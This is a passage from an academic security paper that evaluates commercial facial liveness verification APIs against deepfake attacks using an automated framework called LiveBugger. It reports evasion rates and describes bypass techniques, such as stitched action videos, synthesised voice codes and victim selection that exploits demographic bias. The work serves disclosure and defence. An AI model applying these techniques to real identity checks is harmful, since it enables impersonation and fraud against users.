tion in their FLV APIs, which are thus vulnerable to deep-

fake and threaten thousands of downstream applications; 2)

even for the very few vendors which deploy anti-deepfake

detection, the defense performance is problematic (e.g., while

effective for videos of high visual quality, it fails to detect

some poorly synthesized videos); 3) the security gain of the

random process (e.g., random voice code or action sequence)

in current voice-based FLV and action-based FLV is marginal.

Besides, we conduct proof-of-concept attacks on real applica-

tions to illustrate the practical implication brought by deep-

fake. The attacks show that most evaluated downstream APPs

(i.e., the clients of FLV APIs) are vulnerable to deepfake,

thus threatening the security of millions of users. Our evalua-

tion raises severe concerns about the commercial FLV APIs

provided by PaaS vendors.

Exploration — We further explore the impacting factors

for the attack effectiveness, leading to a number of interesting

findings: 1) the target image has more influence on the face

reenactment methods for bypassing FLV, while the driving

video has more influence on the face-swapping methods; 2)

the adversary may exploit the bias (e.g., gender or race) in

FLV to select the victim; and 3) adversarial training may

1To minimize the ethical concern, we have replaced the vendor names

with cryptonyms in this paper.
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benefit bypassing FLV. Based on such findings, we propose a

customized two-stage method that improves the attack success

rate of bypassing FLV by up to 70%.

Security Suggestion — Based on our findings, we first dis-

cuss why the deepfake-powered attack can break FLV via

comparing it with the presentation attack. Then, we provide

suggestions for improving the security of FLV. For instance,

the random code in voice-based FLV should not be limited

to digits, but should be diversified to enhance the protection;

action-based FLV should adopt actions that are difficult to syn-

thesize for deepfake. We have reported our findings to affected

vendors and received their acknowledgments. In response, one

vendor has announced its engagement in a deepfake detection

project to address this new threat.

We envision that our suggestions will shed light on devel-

oping more effective and robust FLV schemes in general.

2 Background
2.1 Facial Liveness Verification

A general overview of FLV is presented in Figure 1. Below,

we give a detailed introduction to the process of FLV, which

mainly includes three steps.

Step 1. A user interacts with the application and uses it to

record his/her facial image/video.

Step 2. After collecting a user’s facial media, the applica-

tion will call the target FLV API with the recorded media.

Step 3. The API will verify the user’s identity by analyzing

the uploaded media. During the verification, the API first

conducts the liveness detection, which is mainly used to verify

whether the voice or action requirements are met and defend

the presentation attack. After passing the liveness detection,

the API may further conduct deepfake spoofing detection

if applicable. Finally, the API will perform face matching

between the uploaded face and the reference face to verify the

identity. The video/image that passes all the processes will be

reported as a valid one.

According to the recorded media, existing FLV can mainly

be divided into four categories: 1) Image-based FLV: it per-

forms liveness detection based on a static facial image up-

loaded by the user and mainly focuses on detecting the pre-

sentation attack; 2) Silence-based FLV: it performs liveness

detection based on a facial video clip submitted by the user;

3) Voice-based FLV: the user is requested to speak the given

digits while recording the facial video, while the FLV per-

forms liveness detection by analyzing both the visual and

audio signals; 4) Action-based FLV: the user is requested to

act according to the given action sequence while recording

the facial video, while the FLV performs liveness detection

by checking whether the action requirements are met.

2.2 Threat Model
To make our evaluation more practical, we focus on eval-

uating the security of FLV APIs provided by popular cloud

vendors. Therefore, our evaluation is conducted under the

Target Image Driving Image Face Swapping Target Image Driving Image Face Reenactment

Figure 2: Face swapping and reenactment.

Figure 3: Overview of LiveBugger.

black-box setting where an adversary cannot obtain any inter-

nal knowledge of the target API, like the liveness verification

model, face matching model, etc. In this paper, we mainly

consider the one-shot setting — the adversary can obtain one

facial image of the victim since it is the lowest requirement

for the adversary to bypass an FLV system. Therefore, it can

approximately expose an API’s worst-case vulnerability.

2.3 Deepfake
For studying the new threat brought by deepfake, we use

SOTA deepfake techniques to evaluate the security risks of

FLV. In general, there are two types of deepfake techniques

to synthesize fake images/videos: face swapping and face
reenactment [22]. Both are able to synthesize the required

video/image with respect to the given target image and the

driving image/video, in which the target image provides the

identity information, while the driving image/video provides

the background/texture information (face-swapping) or mo-

tion information (face reenactment).

As shown in the left plot of Figure 2, face swapping trans-

fers the identity information from the target image to the

driving image/video. The driving video can be any video

that satisfies the move/voice requirements (e.g., the adver-

sary may use his/her own). In comparison, as shown in the

right plot of Figure 2, face reenactment uses the facial move-

ment/expression deformation of the driving image/video to

reenact the target image.

To understand the new threat comprehensively, we will

use both face-swapping and face reenactment to evaluate the

security risks of FLV.

3 Framework
To systematically evaluate the security risks of FLV APIs,

we design and implement LiveBugger, an evaluation frame-

work with high expandability. LiveBugger consists of three

main components as illustrated in Figure 3: Intelligence En-
gine, Deepfaker Engine, and Analysis Engine. Below, we will

introduce them in more detail.
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3.1 Intelligence Engine
Intelligence Engine is mainly used to construct a complete

set of authentication features supported by the leading FLV

PaaS vendors. Specifically, Intelligence Engine collects the

information from the public API documents provided by the

vendors, which includes the action types, action sequence

length range, the deployment of anti-deepfake detection, etc.

Due to the marginal difference of the supported features pro-

vided by different vendors, we adopt the union set of them

as the features that can be configured by Intelligence Engine,

which enables a configuration-based intelligence interface for

new vendors to be evaluated. Intelligence Engine currently

has built-in configurations for six representative FLV vendors

(the details of these vendors are introduced in Section 4).

However, for security concerns, some implicit information

cannot be obtained from the official public information of

vendors, e.g., the deployment of coherence detection. Addi-

tionally, the vendors may not support the claimed features in

practice. To this end, we build a probing dataset inside the

Intelligence Engine to collect the implicit information and

validate the claimed features. Specifically, Intelligence En-
gine can automatically call the target API with the probing

dataset, and then obtain the needed information based on the

returned results. At present, it mainly uses the probing dataset

to collect information on three defense features, including the

deployment of coherence detection, lip language detection,

and presentation attack detection. The collected information

is shown in Table 1. Next, we introduce them in more detail.

Coherence Detection. Coherence detection checks whether

the consecutive frames of a video are visually continuous. To

check if a target API deploys coherence detection, Intelligence
Engine includes a probing dataset consisting of a normal

dataset and a corresponding disturbed one. Specifically, it

uses several randomly selected facial videos to construct a

normal dataset. Then, it scrambles the order of the frames in

each selected video to get the corresponding disturbed dataset.

If the normal dataset and the disturbed one achieve similar

success rates, then the target cloud vendor has not deployed

the coherence detection; otherwise is the opposite.

Lip Language Detection. Lip language detection is to detect

whether the lip movement in a video matches the correspond-

ing audio signal. Intelligence Engine includes three probing

datasets for this detection: 1) a normal dataset containing

videos whose audio signal matches the lip movement; 2)

one perturbed dataset consisting of videos whose audio signal

does not match the lip movement; 3) another perturbed dataset

that includes videos with only audio signals but without any

lip movement. If the bypass rate of the latter two datasets is

much lower than that of the normal dataset, then the target

cloud vendor has deployed the lip language detection; other-

wise is the opposite. Besides, by comparing the bypass rate

of the latter two datasets, Intelligence Engine can check the

level of lip language detection deployed by a cloud vendor.

Presentation Attack Detection. Similar to previous meth-

ods, Intelligence Engine uses several randomly selected

videos to construct two probing datasets, including a nor-

mal dataset and a replayed one, to check the deployment of

presentation attack detection. Specifically, if the bypass rate

of the replayed dataset is much lower than that of the nor-

mal dataset, then the presentation attack detection has been

deployed by the target vendor; otherwise is the opposite.

3.2 Deepfaker Engine
Leveraging Intelligence Engine, the configuration informa-

tion for a target API can be specified, which is then used by

Deepfaker Engine to synthesize the fake videos/images to

evaluate the target API automatically. Specifically, Deepfaker
Engine incorporates several SOTA deepfake techniques that

can work well in the one-shot setting. Below, we briefly in-

troduce the workflow of synthesizing the images/videos for

bypassing different types of FLV API and defer the imple-

mentation details to Section 4.1.

Image-based FLV. Many target images are unable to pass

image-based FLV due to their background information (e.g.,

brightness and posture). To this end, this module takes sev-

eral images that can pass image-based FLV as the driving

images. Then, since face reenactment methods cannot change

the background information, LiveBugger utilizes SOTA face-

swapping methods to replace the background information of

the target image with that of the driving image (i.e., replacing

the identity of the driving image with that of the target image)

for bypassing image-based FLV.

Silence-based FLV. It takes some randomly selected videos

as the driving videos. Then, along with the target image, it uses

SOTA face swapping and reenactment methods to synthesize

the fake videos for bypassing silence-based FLV.

Voice-based FLV. From the results returned by Intelligence
Engine (see the details in Table 1), we find that most evaluated

vendors have not deployed lip language detection in their

voice-based FLV APIs. Therefore, we can directly import

the required audio signal to the synthesized video to evaluate

voice-based FLV APIs. Specifically, this module synthesizes

fake videos based on the target image and a randomly selected

driving video with lip movement (some APIs only detect lip

movement). Then, after receiving the random digits, it uses a

voice synthesis model, which can be the voice synthesis API

provided by cloud vendors, to synthesize the required audio

signal and import it to the synthesized video. For the few

APIs that deploy lip language detection, one needs to record

a driving video with the matched lip movement interactively.

Action-based FLV. From Table 1, we find that all the evalu-

ated APIs have not deployed the coherence detection. There-

fore, the driving video can be prepared by directly stitching

the pre-recorded videos of the required actions. Accordingly,

this module provides built-in videos of different actions from

volunteers. Based on the stitched driving video and the tar-

get image, it synthesizes the corresponding fake video for
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bypassing action-based FLV. At the same time, we notice that

a few demo APPs evaluated in Section 6 use the coherence

detection (see details in Section 6). For evaluating them, after

receiving the action sequence, one needs to record a video as

the driving video since its natural coherence.

3.3 Analysis Engine
Different vendors provide FLV in various forms. For flex-

ibility, some vendors separate face matching from FLV and

offer it as an independent API. When conducting verification,

FLV often returns a frame for testing (test frame). The Analy-
sis Engine uses the test frame and a facial image of the target

individual (reference image) to call the corresponding face

matching API to perform verification. For a few APIs which

do not return the test frame, we randomly sample frames to

conduct face matching and report average results. For several

other vendors, face matching is integrated into their FLV APIs,

which return both liveness and face matching results. To quan-

titatively characterize the threats, we propose the following

metrics.

Liveness Evasion Rate. It measures the rate of im-

ages/videos that meet the action/voice requirements (if appli-

cable) and pass the presentation attack detection. A higher

liveness evasion rate implies lower security of the FLV.

Anti-deepfake Evasion Rate. Certain cloud vendors deploy

anti-deepfake detection mechanisms. The anti-deepfake de-

tection results are returned to the users separately. Therefore,

we use anti-deepfake evasion rate to measure the rate of syn-

thesized images/videos that evade the anti-deepfake detection.

A larger evasion rate implies higher attack effectiveness.

Face Matching Rate. It measures the rate of synthesized me-

dia that pass the face matching mechanism. A larger matching

rate implies better quality of the synthesized media.

Overall Evasion Rate. It assesses the overall security of the

target API by measuring the fraction of synthesized media

that evade liveness detection, deepfake spoofing detection, and

face matching simultaneously. A larger rate implies higher

attack effectiveness or less security of the target API.

These metrics allow us to characterize the threats from

various defense perspectives (e.g., liveness detection, deep-

fake detection, face matching) and in a fine-grained manner,

leading to a set of interesting findings.

4 Evaluation
In this section, we first introduce the overall experimental

setting, including the vendors, datasets, and deepfake methods.

Then, leveraging LiveBugger, we systematically evaluate the

FLV APIs provided by the leading FLV PaaS vendors.

4.1 Overall Experimental Setting
Target Vendors. To make the evaluation more practical, we

leverage LiveBugger to evaluate the FLV APIs provided by

popular commercial cloud vendors according to the facial

recognition market share [23]. Specifically, we evaluate the

six most representative FLV vendors, including BD, TC, HW,

CW, ST, and iFT (to minimize the ethical concern, we have

replaced the vendor names with cryptonyms). The reasons be-

hind considering these vendors are as follows. 1) BD and TC
are one of the vendors with the largest China’s AI cloud ser-

vices market and the greatest number of face-related API calls,

respectively; 2) HW is one of the vendors with the largest

China’s public cloud market; 3) CW is one of the vendors

with the fastest growth rate in computer vision and is becom-

ing the leader; 4) ST is one of the largest computer vision

vendor; 5) iFT is one of the vendors with the largest China’s

AI software market. LiveBugger collects the configurations,

as shown in Table 1, for the supported authentication features

of the FLV APIs provided by these vendors. Table 1 shows

the supported authentication features for each target vendor

such as voice code length range and supported the action,

which facilitates an automated evaluation. Given an evalua-

tion configuration, LiveBugger automatically evaluates the

target APIs using the target images and the synthesized im-

ages/videos. To better illustrate the threat surface, we also

evaluate some representative FLV APIs from the global mar-

ket in Section 6.

Datasets. First, our evaluation needs an image dataset to

provide the target images for deepfake synthesis and the refer-

ence images for face matching. Therefore, we use the live im-

ages from CelebA-Spoof [24] as the image dataset. CelebA-

Spoof is a face anti-spoofing dataset that has 625,537 images

crawled from social media, which includes 43 rich attributes

on the face, environment, and spoof types.

Second, our study needs a video dataset to provide driving

videos. Therefore, we use the live videos from SiW-M [25]

as the video dataset. SiW-M provides live and spoof (e.g.,

replay) videos from 165 subjects [25].

Deepfake Methods and Implementation. According to the

threat model, the used deepfake method to evaluate an FLV

API should meet the following requirements: 1) it should be

identity-agnostic, i.e., it does not need to train a new model

for a new target person; 2) it can synthesize the required video

based on one facial image of the target person; 3) when syn-

thesizing videos/images, its latency needs to be acceptable;

otherwise, a timeout of the target FLV API will occur. There-

fore, LiveBugger incorporates six SOTA deepfake methods

that meet the above requirements, including X2Face [26], IC-

face [27], FSGANS [22], FSGANR [22], First Order Method

Model (FOMM) [28] and FaceShifter [29]. We present their

details, like technical highlights and categories, in Appendix

A.1. Note that, except for FaceShifter, we use the open-source

code published by the authors. Since FaceShifter is not open-

source, we reproduce it according to our understanding of

the original paper. All of our experiments are conducted on

a server with two Intel Xeon E5-2640 v4 CPUs running at

2.40GHz, 256 GB memory, 4TB HDD, and 4 GeForce GTX

1080 Ti GPU cards.

Before diving into the detailed evaluation results, we
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Figure 4: Overview of the insight in our work. Remarks 1-4 denote the evaluation insights, and Remarks 5-10 denote the exploration insights.

Platform

Liveness Type

Image

Video

Type Common Detection

Silence
Voice Action Anti-

deepfake

Detection

Coherence

Detection

Replay

Attack

Detection

Voice Cide

Length

Range

Voice

Code

Type

Default

Code

Length

Lip

Language

Detection

Action

Length

Range

Default

Action

Length

Action

Type

BD 3 - 6 Digits 3 - 6 1 - 3 1 - 3

Blink, Turn Right

Turn Left, Look Up

Chin Down,

Turn Right and Left

TC 1 - 6 Digits 4 1 - 2 2
Blink,

Open Mouth

HW 1 - 4 1
Turn Left, Turn Right,

Blink, Open Mouth

CW 4 - 6 Digits 4 - 6

ST 4 Digits 4

iFT

Table 1: API intelligence collected from cloud platforms. denotes full support; denotes partial support; denotes no support.

Platform
Liveness

Evasion

Anti-deepfake

Evasion

Face

Matching

Overall

Evasion

BD 75% 90% 99% 68%

TC 53% 85% 100% 42%

HW 70% - 99% 70%

CW 97% - 100% 97%

iFT 99% - 100% 99%
Table 2: Evaluation of legitimate images against FLV (false positive rate =

100% - evasion/matching rate).

present an overview of the core insights (Remarks 1 to 4)

in Figure 4. For each vendor, we evaluate four types of FLV

APIs if available, including image-based FLV, silence-based

FLV, voice-based FLV, and action-based FLV, the insights of

which correspond to Remarks 1 - 4, respectively.

4.2 Image-based FLV
Recall that image-based FLV performs liveness detection

based on the uploaded static image and focuses on detect-

ing the presentation attack. To assess the performance of a

given API, we first measure its false-positive rate (FPR) using

200 legitimate images sampled from the image dataset, with

results presented in Table 2. A lower overall evasion rate im-

plies higher FPR. Observe that although the live image may

be directly used to evade image-based FLV, many of them fail

to pass the target API due to the background information (e.g.,

brightness and posture). Below, we consider an adversarial

setting: the adversary attempts to transform the failed image

into a successful one via deepfake techniques.

Target Images and Driving Images. For each vendor, we

first sample 100 images that fail to pass the target image-based

FLV API from the image dataset as the target images. Then,

for each target image, we select another image with the same

identity as the reference image for identity verification. For

the driving images, LiveBugger randomly selects 10 images

with other identities that pass the target image-based FLV API

from the image dataset. Utilizing the face detector [30], we

crop every image to 256×256 pixels, and without explicitly

specified, the video preprocessing in the rest of the paper is

the same as that of the image.

Security Evaluation. Since ST does not provide image-

based FLV, we evaluate the image-based FLV APIs from

the other five vendors. For a given target API and each target

image in the corresponding evaluation dataset, LiveBugger
transforms the image using its Deepfaker Engine and then

uses the transformed one to evaluate the target API. Note that,

as stated in Section 3.2, since face reenactment methods can-
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Figure 5: Evaluation of transformed images against image-based FLV APIs

(note: HW, CW, and iFT have not deployed anti-deepfake detection, their

default anti-deepfake evasion rates are set as 100%).

Platform
Liveness

Evasion Rate

Anti-deepfake

Evasion Rate

Face

Matching Rate

Overall

Evasion Rate

BD 67% 37% 100% 25%

TC 72% 100% 100% 72%

ST 62% - 99% 62%

CW 97% - 100% 97%

iFT 62% - 100% 62%

Table 3: Evaluation using legitimate videos to measure false positive rate.

not swap the background information of the failed image, we

focus on face-swapping methods (FaceShifter and FSGANS)

in this section.

The results are shown in Figure 5, and we have the

following observations. 1) Image-based FLV systems are

highly vulnerable to deepfake-powered attacks. For instance,

FaceShifter achieves a 95%+ overall evasion rate on CW and

iFT. While for Vendor and TC, as shown in Figure 5 and Table

2, the synthesized images even achieve a higher overall eva-

sion rate than the legitimate images (BD: 78% vs. 68%, TC:

56% vs. 42%). 2) The anti-deepfake detection deployed by

TC and BD is unreliable. Specifically, FaceShifter achieves

94% and 99% anti-deepfake evasion rate on BD and TC, re-

spectively, even higher than the legitimate images (BD: 94%

vs. 90%, TC: 99% vs. 85%). 3) Combining with Table 2

(from which the FPR of each vendor can be derived), we ob-

serve that a target API with higher FPR often offers stronger

security. For example, TC has higher FPR but also more ro-

bustness compared to other evaluated vendors. We speculate

that this is due to the utility-security trade-off: FLV often uses

a threshold to adjust this trade-off. The threshold may vary

in different scenarios (e.g., different lighting conditions). We

use the thresholds recommended by the target vendors in our

evaluation.

4.3 Silence-based FLV
Silence-based FLV utilizes an uploaded video to verify the

identity of a target person. It does not require any additional

action, like speaking digits or head movements. Like image-

based FLV, we first evaluate the FPR of the target silence-

based FLV APIs using randomly selected legitimate videos.

Table 3 shows that the FPR of silence-based FLV is much

higher than the vendors’ claims. However, according to the

threat model, we cannot obtain the video of a target person.

Therefore, in this section, we want to answer the following

question: can an adversary utilize a victim’s facial image to

bypass the silence-based FLV via deepfake?

Figure 6: Evaluation of silence-based FLV APIs. Since ST, CW, and iFT

have not deployed anti-deepfake detection, we assign 100% to their anti-

deepfake evasion rate.

Driving Videos and Target Images. We randomly select 40

images from the image dataset as the target images. Simi-

larly, for each target image, we select another image with the

same identity as the reference image for identity verification.

Besides, LiveBugger randomly selects five videos from the

video dataset as the driving videos.

Security Evaluation. We utilize LiveBugger to synthesize

fake videos based on the selected driving videos and target

images and then evaluate the target API with the synthesized

videos. Since HW does not provide silence-based FLV, we

do not show its evaluation. Figure 6 shows the evaluation

results of silence-based FLV. Note that certain deepfake meth-

ods (e.g., ICface) attain the overall evasion rate/liveness eva-

sion rate of 0, which results in an invisible overall evasion

rate/liveness evasion rate in the plots. According to Figure

6, we have the following observations. 1) An adversary can

easily bypass the silence-based FLV API. The overall evasion

rate on each platform can reach up to 40%+. Especially, for

CW, its overall evasion rate can reach up to 90%+, which

means that the silence-based FLV API of CW practically

performs almost no function. 2) Anti-deepfake detection is

necessary for liveness verification. For example, the results

using ICface in Figure 6 show that although BD’s liveness

evasion rate is near 100%, its overall evasion rate is 0 thanks

to the deployment of anti-deepfake detection. The importance

of deploying anti-deepfake detection is also confirmed by the

results of FOMM, which show that although BD and CW have

similar liveness evasion rate, BD has a much lower overall

evasion rate than that of CW due to its better anti-deepfake

detection ability. 3) The anti-deepfake detection deployed

by a few vendors may be problematic. Figure 6 shows that

compared to FaceShifter, FOMM achieves higher face match-

ing rate but lower anti-deepfake evasion rate. This is due

to that it may successfully detect synthesized videos with

high quality (i.e., high face matching rate) but fail to detect

low-quality ones. For example, Figure 11 in Appendix B.1

shows several frames extracted from a low-quality synthe-

sized video and a high-quality one, respectively. In Figure 11,

each frame of the second row has high quality, while the cor-
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Figure 7: Performance (overall evasion rate) comparison of FaceShifter and

FOMM on different vendors.

responding video cannot bypass the anti-deepfake detection.

However, the video consisting of the low-quality frames in

the first row is able to bypass the detection. Secondly, fake

videos can achieve a much higher anti-deepfake evasion rate

than real live videos. As shown in Figure 6 and Table 3, the

videos synthesized by FaceShifter can achieve around 60%

anti-deepfake evasion rate on BD, while the real live videos

only achieve 37%. Therefore, anti-deepfake detection should

be further improved.

Compared to other methods, FaceShifter and FOMM have

a much higher overall evasion rate. For comparing them more

clearly, we show their overall evasion rates on different ven-

dors in Figure 7. They both have a very high overall evasion

rate on CW. For BD and TC, FaceShifter performs better,

while FOMM performs better on ST and iFT. This indicates

that different deepfake methods have different adaptability

on different vendors. Therefore, a vendor should consider as

many deepfake methods as possible to develop a more general

and robust defense method.

4.4 Voice-based FLV
Voice-based FLV requires a user to speak given digits while

recording the corresponding facial video to verify his/her iden-

tity. Intuitively, since voice-based FLV introduces a random

process based on silence-based FLV, it should largely mitigate

the security risks. Similar to Section 4.3, we use only one

facial image to synthesize the required video for bypassing

voice-based FLV. Here, the experiments focus on evaluating

the security impact of the following key factors: 1) the ran-

dom voice process, 2) the lip language detection, and 3) the

digit length.

Driving Videos and Target Images. We keep the target im-

ages and reference images the same as the images selected in

Section 4.3. Then, LiveBugger randomly selects five videos

with lip movements from the video dataset as the driving

videos, since some vendors (e.g., TC) consider lip movements

during the verification.

Security Evaluation. According to Table 1, four vendors,

including BD, TC, CW, and ST, provide voice-based FLV.

Therefore, we will evaluate the security risks of the voice-

based FLV APIs on these vendors. During the evaluation,

LiveBugger utilizes the voice synthesis API from TC to

synthesize the required audio signal. Note that, the choice of

Figure 8: Evaluation of voice-based FLV APIs. Since ST and CW have

not deployed anti-deepfake detection, we assign 100% to their anti-deepfake

evasion rate.

the voice synthesis API does not affect the evaluation result

since the voice recognition process in voice-based FLV can

correctly recognize the synthesized voice.

The evaluation results are shown in Figure 8. Comparing

the results of Figures 6 and 8, we can see that except for CW,

voice-based FLV APIs can also be easily bypassed. For ex-

ample, for FaceShifter in Figure 8, the overall evasion rate of

BD can reach up to 60%+, which is even higher than that in

silence-based FLV. We speculate that this is because the target

API detects the facial liveness and the audio signal separately.

Specifically, the target API imports an independent speech

recognition process on the basis of the silence-based FLV API

to check whether the audio signal matches the given digits

without considering lip language detection. Based on the re-

turned API results from BD, we can observe that the audio

signal perfectly matches the given digits. Thus, no security

gain can be obtained based on the current implementation

of voice-based FLV. Interestingly, BD claims that their API

supports lip language detection. However, we find that it is not

valid. Even the video without any lip movement can bypass it.

Similar security risks also exist in TC and ST. However, the

voice-based FLV API of TC shows a slightly better defense

performance than its silence-based FLV. The reason is that TC

additionally detects lip movements but does not require the

movements to match the given digits. Due to the imperfection

of deepfake methods, the lip movements in some synthesized

videos are not obvious, which results in a slight security im-

provement of the API. As for CW, since it deploys the lip

language detection, we give a separate evaluation below.

Lip Language Detection. As shown in Figures 6 and 8,

since the driving video has unmatched lip movements with

the given digits, the overall evasion rate of CW’s voice-based

FLV API decreases to 0. To this end, we use the customized

driving videos with matched lip movements to evaluate CW

and show the results in Figure 12 of Appendix B.2. We find

that even though the voice-based FLV API deploys lip lan-

guage detection, it still has high-security risks.

Length of Given Digits. Intuitively, because of the trade-off

between security and utility, increasing the length of the given
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Figure 9: Evaluation of action-based FLV APIs. Since HW has not deployed

the anti-deepfake detection, we assign 100% to its anti-deepfake evasion rate.

digits (decreasing the utility) should improve the security of

voice-based FLV. However, the evaluation results show that

increasing the length of the digits at the cost of utility does

not improve such security. Due to the space limitations, we

place the details in Appendix B.2.

4.5 Action-based FLV
Similar to voice-based FLV, action-based FLV also intro-

duces a random process based on silence-based FLV. The

difference is that it requires a person to make head move-

ments according to the given action sequence when recording

the corresponding facial video. According to the threat model,

we also utilize one single facial image of the victim to evaluate

the security of action-based FLV. In this section, we mainly

answer the following key questions: 1) does the random ac-

tion sequence improve the security of silence-based FLV?

2) is there any security difference between different actions?

3) does the action sequence length affect the security of an

action-based FLV API?

Driving Videos and Target Images. We also keep the

target and reference images the same as those in silence-

based FLV. Additionally, we recruit five volunteers to record

videos for each of the actions supported by the vendors. Then,

LiveBugger can stitch the videos of the required actions to

construct the driving video.

Security Evaluation. According to Table 1, three vendors,

including BD, TC, and HW, provide action-based FLV. How-

ever, we find that the action-based FLV API on BD has an

implementation problem: a video with the required actions

incurs a calling error of the action-based FLV API but works

normally with the silence-based FLV API. After contacting

customer service, it is confirmed to be a video encoding prob-

lem. Since it has not been resolved so far, we evaluate TC and

HW in this section.

The evaluation results of action-based FLV are shown in

Figure 9. From Figures 6 and 9, we have the following ob-

servations. 1) Action-based FLV can be bypassed very easily.

For example, as shown by the FaceShifter of Figure 9, the

liveness evasion rate on HW can reach up to 97%, and the

overall evasion rate can reach up to 80%, which brings se-

rious risks to the downstream applications. 2) Compared to

silence-based FLV, the security gain of action-based FLV is

Platform Attributes
Liveness

Evasion
P-value

Anti-deepfake

Evasion
P-value

Overall

Evasion

BD

Race
Colored 82% 0.049 72% 0.0055 63%

White 89% 58% 55%

Gender
Male 74% 0.0001 59%

0.53
50%

Female 96% 62% 62%

TC

Race
Colored 43% 0.00058 93%

0.78
42%

White 67% 92% 63%

Gender
Male 46% 0.0000016 96%

0.31
41%

Female 78% 99% 78%

Table 4: Evaluation of bias and statistical tests.

marginal. Especially, as shown by the FOMM results in Fig-

ures 6 and 9, the overall evasion rate of action-based FLV on

TC is even slightly higher than that of silence-based FLV. 3)

As action-based FLV requires large movements like looking

up and turning left, the synthesized videos usually have poor

visual quality. However, even if a synthesized video is un-

real to humans, it can still bypass the current anti-deepfake

detection mechanism with a very high success rate. For ex-

ample, the result of FaceShifter in Figure 9 shows that the

anti-deepfake evasion rate on TC can still achieve as high as

100%. Therefore, the current anti-deepfake detection should

be further improved to enhance the security of the target API.

Security of Different Actions and Lengths. An action-

based FLV API usually supports different actions and action

sequence lengths. Then, we evaluate the security variance for

different action requirements, and find that they do not result

in security variance. Due to the space limitations, more details

are deferred to Appendix B.3.

5 Exploration
In this section, we explore various factors that may af-

fect the attack effectiveness from the perspective of deepfake

in-depth and discuss potential improvements in bypassing

FLV2. To better demonstrate the impacts of various factors,

we consider the two most effective methods (FaceShifter and

FOMM) during the exploration. The overview of insights

found in this section is shown in Remarks 5 - 8 of Figure 4,

which correspond to the core insights found in the exploration

on the bias of API, adversarial training, influence factors, and

the customized two-stage attack, respectively.

5.1 Bias of API
To explore the bias in FLV, we first divide the video dataset

into two groups according to a particular attribute that might

have bias. Then, we sample 100 videos from each group and

use LiveBugger to directly evaluate a target API with these

sampled videos (not use Deepfaker Engine). As the video

dataset provides a large number of live videos sampled from

different environments (e.g., lighting), to limit the influence of

other factors, we manually select two groups of videos to en-

sure that they have the same number of videos from the same

environment. Considering the simplicity of distinguishing

attributes, we mainly explore the potential bias in gender and

2Withou explicit specification, the exploration experiment is conducted

on silence-based FLV.
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Platform Method
Liveness

Evasion
P-value

Anti-deepfake

Evasion
P-value

Overall

Evasion

BD
FOMM 95%

0.14
33% 0.00000039 33%

FOMM (Adv) 97% 46% 46%

TC
FOMM 29%

0.29
59% 0.042 19%

FOMM (Adv) 36% 69% 25%
Table 5: Evaluation of adversarial training.

race. In the future, we will explore the bias of more attributes

in FLV. We show the evaluation results and the corresponding

t-test statistics in Table 4, respectively. Note that, since the

overall evasion rate depends on liveness evasion rate and anti-

deepfake evasion rate, we omit the statistical test for overall

evasion rate.

From Table 4, we can see the bias in FLV. 1) The racial

and gender biases exist in the presentation attack detection

(measured by liveness evasion rate) of FLV API, and all the

P-values for liveness evasion rate are less than 0.05 (many of

them are even less than 0.01), which means that such biases

are significant. For example, the liveness evasion rate of males

on TC is only 46%, while that of females can achieve as high

as 78%, and the corresponding P-value is 0.0000016, which

indicates a significant gender bias. 2) Although the bias of anti-

deepfake evasion rate is not significant as that of the liveness

evasion rate, it also exists in some cases. For example, the

anti-deepfake evasion rate of the colored on BD can achieve

as high as 72%, while that of the white is only 58%, and the

P-value is 0.0055, which means a statistically significant bias.

In summary, there are biases in FLV, which may bring

significant security risks to a particular group of people. How

to eliminate the biases in FLV is an interesting future work.

5.2 Adversarial Training and Anti-deepfake
Detection

According to Figures 6, 8 and 9, compared to FOMM,

FaceShifter can bypass the anti-deepfake detection more effi-

ciently. We speculate that this is due to the adversarial train-

ing used in FaceShifter. Specifically, in adversarial training

(widely used in Generative Adversarial Networks [31]), the

goal of the discriminator is to distinguish the synthesized

videos from real ones, which is similar to the goal of anti-

deepfake detection, while the goal of the generator is to de-

ceive the discriminator. Therefore, the adversarial training

may make the synthesized video more likely to bypass the

anti-deepfake detection (i.e., higher anti-deepfake evasion

rate). Note that, without the discriminator, FaceShifter fails

to synthesize satisfying videos. We thus utilize FOMM to

explore the role adversarial training (i.e., discriminator) for

bypassing FLV. We present the results and the corresponding

t-test statistics in Table 5.

According to Table 5, adversarial training significantly im-

proves the attack effectiveness of FOMM, especially in terms

of bypassing the anti-deepfake detection. For example, af-

ter adversarial training, the anti-deepfake evasion rate is in-

creased from 33% to 46% on BD, and the corresponding

P-value is 0.00000039, which indicates a significant improve-

Platform Method
Successful / Failed Image

Liveness

Evasion

Anti-deepfake

Evasion

Face

Matching

Overall

Evasion

BD
FOMM 100% / 87% 49% / 29% 100% / 100% 49% / 26%

FaceShifter 96% / 95% 57% / 65% 94% / 95% 54% / 60%

TC
FOMM 32% / 5% 55% / 58% 99% / 100% 27% / 5%

FaceShifter 60% / 50% 100% / 100% 93% / 96% 58% / 50%

Table 6: Evaluation of the target image.

Figure 10: Evaluation of the driving video.

ment. In addition, the adversarially trained FOMM is also

more effective in terms of other metrics, although the im-

provement is not as significant. In summary, even though no

visible visual difference exists between the videos synthe-

sized by normal and adversarially trained FOMM, the latter

can bypass FLV more effectively.

5.3 Driving Videos
Intuitively, whether a driving video passes FLV or not may

affect the success of the synthesized video. To validate this,

we utilize LiveBugger to evaluate the role of the driving

video for bypassing FLV. Specifically, we first sample 20

images from the image dataset as the target images. Then, we

configure the driving videos in LiveBugger as videos that

can pass silence-based FLV and cannot pass it, respectively,

and utilize LiveBugger to evaluate a target FLV API.

Figure 10 shows the influence of the driving video on the

bypass rate, where the driving video that can pass silence-

based FLV is denoted as ‘successful’ and ‘failed’ otherwise.

From Figure 10, we can see that the influence of the driving

video on FaceShifter is more significant than that on FOMM.

For example, FaceShifter with the passed driving video can

achieve an overall evasion rate of 96% on CW, while with the

failed driving video, it can only achieve an overall evasion

rate of 51%. As for FOMM, the successful and failed driving

videos result in similar overall evasion rate. After analysis, we

speculate that this is because FaceShifter is a face-swapping

method, while FOMM is a face reenactment method. The

face-swapping method swaps the identity (face) of the driv-

ing video with the identity (face) of the target image. The

obtained video is more similar to the driving video, including

background, expression, and posture. Therefore, the driving

video has a significant influence on face swapping methods.

On the contrary, face reenactment methods fuse the action

of the driving video to the target image to reenact the target

image, i.e., the synthesized video is more similar to the target

image. Therefore, face reenactment methods are less affected
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Platform Method
Liveness

Evasion

Anti-deepfake

Evasion

Overall

Evasion

FOMM 91% / 10% 22% / 52% 22% / 5%
BD FOMM (Stage1) 100% / 14% 86% / 94% 86% / 13%
/ TC FOMM (Stage2) 94% / 10% 39% / 52% 39% / 6%

